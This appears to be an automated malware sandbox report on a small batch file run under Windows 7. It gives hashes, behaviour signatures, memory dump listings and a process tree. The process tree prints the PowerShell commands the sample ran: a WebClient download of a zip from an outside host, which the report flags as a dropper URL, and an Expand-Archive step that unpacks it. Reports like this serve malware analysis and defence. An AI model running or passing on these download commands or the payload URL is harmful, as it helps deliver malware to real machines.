1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1559s
max time network
1564s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (11).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1524	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1524	powershell.exe
2460	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 1524	2732	cmd.exe	29
PID 2732 wrote to memory of 1524	2732	cmd.exe	29
PID 2732 wrote to memory of 1524	2732	cmd.exe	29
PID 2732 wrote to memory of 2460	2732	cmd.exe	30
PID 2732 wrote to memory of 2460	2732	cmd.exe	30
PID 2732 wrote to memory of 2460	2732	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2460

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a5117e69c7122619ee4bc51a71cf3419

SHA1
2d0d3c952f17baa6380280df4bed2aabd26f5e55

SHA256
25c43f9b90fcdc819c0fbded7354aca0943fbba179d7a4f303b16907af39caed

SHA512
8333456486c501f1a4a8d70069ca05f64c57fa1e8ce1a9f8405d95c54131bf191898da5d1264cfcd77c9c618438b6ed19875f50a2537e7683bfcab6a48979af2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KARBH01DAKSN290VE2RS.temp

Filesize
7KB

MD5
a5117e69c7122619ee4bc51a71cf3419

SHA1
2d0d3c952f17baa6380280df4bed2aabd26f5e55

SHA256
25c43f9b90fcdc819c0fbded7354aca0943fbba179d7a4f303b16907af39caed

SHA512
8333456486c501f1a4a8d70069ca05f64c57fa1e8ce1a9f8405d95c54131bf191898da5d1264cfcd77c9c618438b6ed19875f50a2537e7683bfcab6a48979af2

Download Submit
memory/1524-8-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/1524-5-0x000007FEF50A0000-0x000007FEF5A3D000-memory.dmp

Filesize
9.6MB

Download
memory/1524-4-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/1524-9-0x000007FEF50A0000-0x000007FEF5A3D000-memory.dmp

Filesize
9.6MB

Download
memory/1524-10-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/1524-12-0x000007FEF50A0000-0x000007FEF5A3D000-memory.dmp

Filesize
9.6MB

Download
memory/1524-6-0x00000000025A0000-0x00000000025A8000-memory.dmp

Filesize
32KB

Download
memory/1524-7-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2460-18-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2460-19-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2460-20-0x000007FEF4700000-0x000007FEF509D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-21-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2460-22-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2460-23-0x000007FEF4700000-0x000007FEF509D000-memory.dmp

Filesize
9.6MB

Download
memory/2460-24-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2460-25-0x000007FEF4700000-0x000007FEF509D000-memory.dmp

Filesize
9.6MB

Download